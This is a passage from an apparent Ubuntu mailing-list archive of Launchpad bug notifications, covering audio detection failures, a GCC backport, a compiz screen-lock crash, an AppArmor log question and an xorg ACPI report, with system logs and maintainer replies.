May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'switch_mm' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_context_free' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_context_create' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_ppgtt_release' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_ppgtt_create' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'intel_gpu_freq_change' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_reg_rw' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_flip_complete' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_flip_request' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_ring_wait_end' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_ring_wait_begin' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_request_wait_end' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_request_wait_begin' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_request_complete' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_request_retire' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_request_add' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_ring_flush' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_ring_dispatch' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_ring_sync_to' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_evict_vm' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_evict_everything' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_evict' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_destroy' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_clflush' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_fault' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_pread' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_pwrite' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_change_domain' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_vma_unbind' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_vma_bind' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_gem_object_create' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_pipe_update_end' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_pipe_update_vblank_evaded' directory May 26 14:37:03 username-MS-7850 kernel: Could not create debugfs 'i915_pipe_update_start' directory May 26 14:37:03 username-MS-7850 kernel: snd_hda_intel :00:03.0: Cannot turn on display power on i915 ** Summary changed: - Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem + Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem Cannot turn on display power on i915 ** Changed in: alsa-driver (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1458981 Title: Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem Cannot turn on display power on i915 Status in alsa-driver package in Ubuntu: Incomplete Bug description: Digital playback was working just fine. HDMI connected to 32" Vizio television from msi Z97 PC Mate Motherboard. Now no digital output, not even as an option. Analog audio works just fine. When I plug headphones in there is no problem. that is all identified in Settings panel and terminal commands used for troubleshooting. but the HDMI output does not appear to be recognized as everything says Analog. Ubuntu 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: alsa-base 1.0.25+dfsg-0ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-18.18-generic 3.19.6 Uname: Linux 3.19.0-18-generic x86_64 ApportVersion: 2.17.2-0ubuntu1.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/contr
[Touch-packages] [Bug 1458947] Re: QinHeng Electronics CH345 MIDI adapter triggers error
post the output of alsa-info.sh https://wiki.ubuntu.com/PulseAudio/Log ** Changed in: pulseaudio (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1458947 Title: QinHeng Electronics CH345 MIDI adapter triggers error Status in pulseaudio package in Ubuntu: Incomplete Bug description: Cheap oriental MIDI adapter starts up with the following error, but works as expected.* E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="1" name="usb-1a86_USB2.0-MIDI-00-USB20MIDI" card_name="alsa_card.usb-1a86_USB2.0-MIDI-00-USB20MIDI" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes use_ucm=yes card_properties="module-udev- detect.discovered=1""): initialization failed. The device: 1a86:752d QinHeng Electronics CH345 MIDI adapter Of course i'm not sure whether this is a PA problem or an ALSA or UDEV bug. Ubuntu 14.04.2 LTS Pulseaudio 1:4.0-0ubuntu11.1 * works almost as expected: there is one physical input and one output, but in ALSA one input and two outputs appear. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1458947/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1449117] Re: [Ubuntu 14.04] gcc 4.8: Improve vector performance by removing unnecessary swap optimizations
*** This bug is a duplicate of bug 1311866 *** https://bugs.launchpad.net/bugs/1311866 It appears that this bug is addressed by the SRU of gcc-4.8 4.8.4-2ubuntu1~14.04, currently in trusty-proposed awaiting completion of verification, which updates to revision 222448 on the gcc-4.8 branch. Marking this bug as a duplicate. ** This bug has been marked a duplicate of bug 1311866 update binutils and GCC for trusty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gcc-4.8 in Ubuntu. https://bugs.launchpad.net/bugs/1449117 Title: [Ubuntu 14.04] gcc 4.8: Improve vector performance by removing unnecessary swap optimizations Status in gcc-4.8 package in Ubuntu: New Bug description: For vector memory operations, GCC generates less efficient code for little endian POWER than for big endian POWER. This is because the VSX vector loads and stores (lxvd2x, stxvd2x, lxvw4x, stxvw4x) assume a vector register element ordering where the lowest-numbered element resides in the most significant portion of the register. That is, they operate according to a big-endian element ordering no matter what endian mode the machine is running in. To generate correct code regardless of this, GCC will generate a lxvd2x/xxswapd pair of instructions for each load, and an xxswapd/stxvd2x pair of instructions for each store. The extra xxswapd instructions force the vector elements into the proper lanes, but at a cost in performance. In August 2014, I added a pass to GCC that removes the extra swap operations when they are not necessary for correctness. This greatly improves vector performance for ppc64el. This optimization can be done for computations where all of the vector operations are "lane- insenstive"; that is, they don't care which lanes the computations are performed in, so long as values are stored back to memory in the correct order. To take advantage of this improved performance, I've backported the swap optimization pass to GCC 4.8 in revision r221713. I would like to see this included in the next service release of 14.04 LTS. I believe this is the only Ubuntu release using GCC 4.8. A separate feature request has been opened for GCC 4.9. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gcc-4.8/+bug/1449117/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436269] Re: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised
I have passive speakers connected to the headphone connector. I want output to headphone connector occur only, when analog-output-headphones port is manually selected as the active port of the sink. Another use case is that user wants to switch output to Headphones always, if they are plugged in, and auto mute other outputs, too. I think that could be done by automatically switching analog-output-headphones port as active port of the sink - optionally. As third use case, sometimes you might want to have simultaneous output to Line Out and Headphones output, but then you may want to change their volumes independently. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1436269 Title: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised Status in pulseaudio package in Ubuntu: Incomplete Bug description: I expect that headphone levels are not raised, when Analog Output or Speakers is selected as port. Please note, that Line out = analog output port is controlled by ALSA mixer track called PCM, whereas there should be a separate mixer track for it; see bug Bug #1433568 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: pulseaudio 1:4.0-0ubuntu11.1 ProcVersionSignature: Ubuntu 3.13.0-48.80-lowlatency 3.13.11-ckt16 Uname: Linux 3.13.0-48-lowlatency x86_64 ApportVersion: 2.14.1-0ubuntu3.7 Architecture: amd64 CurrentDesktop: XFCE Date: Wed Mar 25 12:34:23 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2014-09-21 (185 days ago) InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.1) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2011 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.6.6 dmi.board.name: 0RF703 dmi.board.vendor: Dell Inc. dmi.chassis.type: 6 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.6.6:bd06/26/2011:svnDellInc.:pnOptiPlex745:pvr:rvnDellInc.:rn0RF703:rvr:cvnDellInc.:ct6:cvr: dmi.product.name: OptiPlex 745 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1436269/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1451613] Re: Unity/compiz crashes when locking screen
I did some other tests with mouse and touchpad, when locking screen: - if I use mouse click or click with button near touchpad → chrash - if I use *tap* on touchpad or key shortcut CTRL+ALT+L (unlike what I said in my first report) → no crash and I managed to produce a backtrace \o/ (that wasn't easy ^^"). See attached file. ** Attachment added: "compiz backtrace" https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1451613/+attachment/4405055/+files/gdb-compiz.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1451613 Title: Unity/compiz crashes when locking screen Status in Unity: New Status in unity package in Ubuntu: Confirmed Bug description: Since a recent update (around April 29th), sometimes (approximately once a day) when I lock my computer screen (CTRL+L or using system menu) the computer freeze for a while (2 to 30 seconds) before showing the login screen. Then when I try to unlock the screen I need to enter my password twice (with no error message after the first try). Once logged in, all applications are closed. Uptime is still running (since no reboot) and services too (with no interruption). Looking at the apport.log file (see attached) it seems that when I try to lock the screen, compiz crashes. I've attached the compiz crash file too (_usr_bin_compiz.1000.crash) but without the 100Mo data of base64 core dumb… I'm using Ubuntu 14.04 AMD64. Graphics drivers: nvidia-331.113 (tested) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1451613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458288] Re: Some exec appeair on kern.log but on apparmor_status not.
The profile="unconfined" in the following line from the logs just means that the process which loaded the new profile is unconfined. The apparmor="STATUS" operation="profile_load" log entries are from the initscript or upstart scripts when they are loading the profiles before executing the program. audit: type=1400 audit(1432447057.243:13): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince- thumbnailer" pid=447 comm="apparmor_parser" If the process loading policy were confined (I believe this is allowed, so long as the process has capability MAC_ADMIN in its policy and has this capability natively) then the confining profile would have been reported here, instead of "unconfined". The important part to remember is that the log events reflect the process that is performing the operation. Thanks -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/1458288 Title: Some exec appeair on kern.log but on apparmor_status not. Status in apparmor package in Ubuntu: Invalid Bug description: Hi On kern.log some exec listing as unconfined but on apparmor_status not.What is the truth. $ tail -n 40 -f /var/log/kern.log May 24 08:57:38 192-168-0-3 kernel: [ 23.677258] input: HDA Intel Front Headphone as /devices/pci:00/:00:1b.0/sound/card0/input12 May 24 08:57:38 192-168-0-3 kernel: [ 26.435570] Adding 2084860k swap on /dev/mapper/192--168--0--102--vg-swap_1. Priority:-1 extents:1 across:2084860k FS May 24 08:57:38 192-168-0-3 kernel: [ 29.417288] EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro May 24 08:57:38 192-168-0-3 kernel: [ 30.101562] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem May 24 08:57:38 192-168-0-3 kernel: [ 30.189338] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null) May 24 08:57:38 192-168-0-3 kernel: [ 33.126316] audit: type=1400 audit(1432447037.263:2): apparmor="STATUS" operation="profile_load" profile="unconfined" name="gst_plugin_scanner" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 33.626210] audit: type=1400 audit(1432447037.763:3): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/lightdm/lightdm-guest-session" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 33.626246] audit: type=1400 audit(1432447037.763:4): apparmor="STATUS" operation="profile_load" profile="unconfined" name="chromium" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.099402] audit: type=1400 audit(1432447039.235:5): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/sbin/dhclient" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.101412] audit: type=1400 audit(1432447039.239:6): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.103027] audit: type=1400 audit(1432447039.239:7): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.104806] audit: type=1400 audit(1432447039.243:8): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/connman/scripts/dhclient-script" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.089763] audit: type=1400 audit(1432447057.227:9): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.093877] audit: type=1400 audit(1432447057.231:10): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.098328] audit: type=1400 audit(1432447057.235:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince-previewer" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.100659] audit: type=1400 audit(1432447057.239:12): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.104541] audit: type=1400 audit(1432447057.243:13): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince-thumbnailer" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.106972] audit: type=1400 audit(1432447057.243:14): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.114072] audit: type=1400 audit(1432447057.251:15): apparmor="STATUS" operation="p
[Touch-packages] [Bug 1459045] [NEW] ACPI PCC probe Failed
Public bug reported: What i do? ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: xorg 1:7.7+7ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-18.18-generic 3.19.6 Uname: Linux 3.19.0-18-generic i686 NonfreeKernelModules: nvidia .proc.driver.nvidia.gpus.0: Error: [Errno 21] É um diretório: '/proc/driver/nvidia/gpus/0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86 Kernel Module 304.125 Mon Dec 1 19:55:52 PST 2014 GCC version: gcc version 4.9.2 (Ubuntu 4.9.2-10ubuntu13) ApportVersion: 2.17.2-0ubuntu1.1 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue May 26 20:18:17 2015 DistUpgraded: Fresh install DistroCodename: vivid DistroVariant: ubuntu DkmsStatus: nvidia-304, 304.125, 3.19.0-18-generic, i686: installed ExtraDebuggingInterest: I just need to know a workaround GraphicsCard: NVIDIA Corporation C61 [GeForce 7025 / nForce 630a] [10de:03d6] (rev a2) (prog-if 00 [VGA controller]) Subsystem: ASRock Incorporation Device [1849:03d6] InstallationDate: Installed on 2015-05-23 (3 days ago) InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release i386 (20150422) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcEnviron: LANGUAGE=pt_BR:pt:en PATH=(custom, no user) LANG=pt_BR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-18-generic root=UUID=f2cb104e-74b3-46c4-bf0e-3ac007ab3eeb ro quiet splash SourcePackage: xorg UdevLog: Error: [Errno 2] Arquivo ou diretório não encontrado: '/var/log/udev' UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/25/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.40 dmi.board.name: N68C-S UCC dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.40:bd08/25/2010:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnN68C-SUCC:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.60-2 version.libgl1-mesa-dri: libgl1-mesa-dri 10.5.2-0ubuntu1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.5.2-0ubuntu1 version.nvidia-graphics-drivers: nvidia-graphics-drivers N/A version.xserver-xorg-core: xserver-xorg-core 2:1.17.1-0ubuntu3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.9.0-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.5.0-1ubuntu2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917-1~exp1ubuntu2.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.11-1ubuntu2build1 xserver.bootTime: Tue May 26 23:08:08 2015 xserver.configfile: default xserver.errors: open /dev/fb0: No such file or directory xserver.logfile: /var/log/Xorg.0.log xserver.outputs: xserver.version: 2:1.17.1-0ubuntu3 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug i386 ubuntu vivid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1459045 Title: ACPI PCC probe Failed Status in xorg package in Ubuntu: New Bug description: What i do? ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: xorg 1:7.7+7ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-18.18-generic 3.19.6 Uname: Linux 3.19.0-18-generic i686 NonfreeKernelModules: nvidia .proc.driver.nvidia.gpus.0: Error: [Errno 21] É um diretório: '/proc/driver/nvidia/gpus/0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86 Kernel Module 304.125 Mon Dec 1 19:55:52 PST 2014 GCC version: gcc version 4.9.2 (Ubuntu 4.9.2-10ubuntu13) ApportVersion: 2.17.2-0ubuntu1.1 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue May 26 20:18:17 2015 DistUpgraded: Fresh install DistroCodename: vivid DistroVariant: ubuntu DkmsStatus: nvidia-304, 304.125, 3.19.0-18-generic, i686: installed ExtraDebuggingInterest: I just need to know a workaround GraphicsCard: NVIDIA Corporation C61 [GeForce 7025 / nForce 630a] [10de:03d6] (rev a2) (prog-if 00 [VGA controller]) Subsystem: ASRock Incorporation Device [1849:03d6] InstallationDate: Installed on 2015-05-23 (3 days ago) InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release i386 (20150422) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcEnviron: LANGUAGE=pt_BR:pt:en PATH=(custom, no user) LA
[Touch-packages] [Bug 1458288] Re: Some exec appeair on kern.log but on apparmor_status not.
** Changed in: apparmor (Ubuntu) Status: New => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/1458288 Title: Some exec appeair on kern.log but on apparmor_status not. Status in apparmor package in Ubuntu: Invalid Bug description: Hi On kern.log some exec listing as unconfined but on apparmor_status not.What is the truth. $ tail -n 40 -f /var/log/kern.log May 24 08:57:38 192-168-0-3 kernel: [ 23.677258] input: HDA Intel Front Headphone as /devices/pci:00/:00:1b.0/sound/card0/input12 May 24 08:57:38 192-168-0-3 kernel: [ 26.435570] Adding 2084860k swap on /dev/mapper/192--168--0--102--vg-swap_1. Priority:-1 extents:1 across:2084860k FS May 24 08:57:38 192-168-0-3 kernel: [ 29.417288] EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro May 24 08:57:38 192-168-0-3 kernel: [ 30.101562] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem May 24 08:57:38 192-168-0-3 kernel: [ 30.189338] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null) May 24 08:57:38 192-168-0-3 kernel: [ 33.126316] audit: type=1400 audit(1432447037.263:2): apparmor="STATUS" operation="profile_load" profile="unconfined" name="gst_plugin_scanner" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 33.626210] audit: type=1400 audit(1432447037.763:3): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/lightdm/lightdm-guest-session" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 33.626246] audit: type=1400 audit(1432447037.763:4): apparmor="STATUS" operation="profile_load" profile="unconfined" name="chromium" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.099402] audit: type=1400 audit(1432447039.235:5): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/sbin/dhclient" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.101412] audit: type=1400 audit(1432447039.239:6): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.103027] audit: type=1400 audit(1432447039.239:7): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 35.104806] audit: type=1400 audit(1432447039.243:8): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/connman/scripts/dhclient-script" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.089763] audit: type=1400 audit(1432447057.227:9): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.093877] audit: type=1400 audit(1432447057.231:10): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.098328] audit: type=1400 audit(1432447057.235:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince-previewer" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.100659] audit: type=1400 audit(1432447057.239:12): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.104541] audit: type=1400 audit(1432447057.243:13): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/evince-thumbnailer" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.106972] audit: type=1400 audit(1432447057.243:14): apparmor="STATUS" operation="profile_load" profile="unconfined" name="sanitized_helper" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.114072] audit: type=1400 audit(1432447057.251:15): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/irssi" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.122442] audit: type=1400 audit(1432447057.259:16): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/mediascanner-service-2.0" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.136378] audit: type=1400 audit(1432447057.275:17): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/pidgin" pid=447 comm="apparmor_parser" May 24 08:57:38 192-168-0-3 kernel: [ 53.136424] audit: type=1400 audit(1432447057.275:18): apparmor="STATUS" operation="profile_load" profile="unconfined" name="launchpad_integration" pid=447 comm="apparmor_parser" May 24 08:57:38 19
[Touch-packages] [Bug 1458849] Re: [ Asus P7P55D LE , VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card
mag 26 12:57:52 hostname pulseaudio[719]: [pulseaudio] server-lookup.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.NotSupported: Unable to autolaunch a dbus-daemon without a $DISPLAY for X11 mag 26 12:57:52 hostname pulseaudio[719]: [pulseaudio] main.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.NotSupported: Unable to autolaunch a dbus-daemon without a $DISPLAY for X11 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1458849 Title: [ Asus P7P55D LE , VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card Status in pulseaudio package in Ubuntu: Incomplete Bug description: Audio no WORK post upgrade to 14.10 from 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: pulseaudio 1:6.0-0ubuntu6 ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.17.2-0ubuntu1.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: laura 1392 F pulseaudio CurrentDesktop: Unity Date: Tue May 26 13:36:42 2015 InstallationDate: Installed on 2014-12-18 (158 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: pulseaudio Symptom: audio Symptom_Card: HDA-Intel - HDA Intel MID Symptom_Jack: Green Line Out, Rear Title: [System Product Name, VIA VT1828S, Green Line Out, Rear] Pulseaudio fails to detect card UpgradeStatus: Upgraded to vivid on 2015-04-24 (31 days ago) dmi.bios.date: 10/03/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2101 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P7P55D LE dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2101:bd10/03/2012:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP7P55DLE:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1458849/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1459043] [NEW] Attempting to lock screen sometimes kills whole session
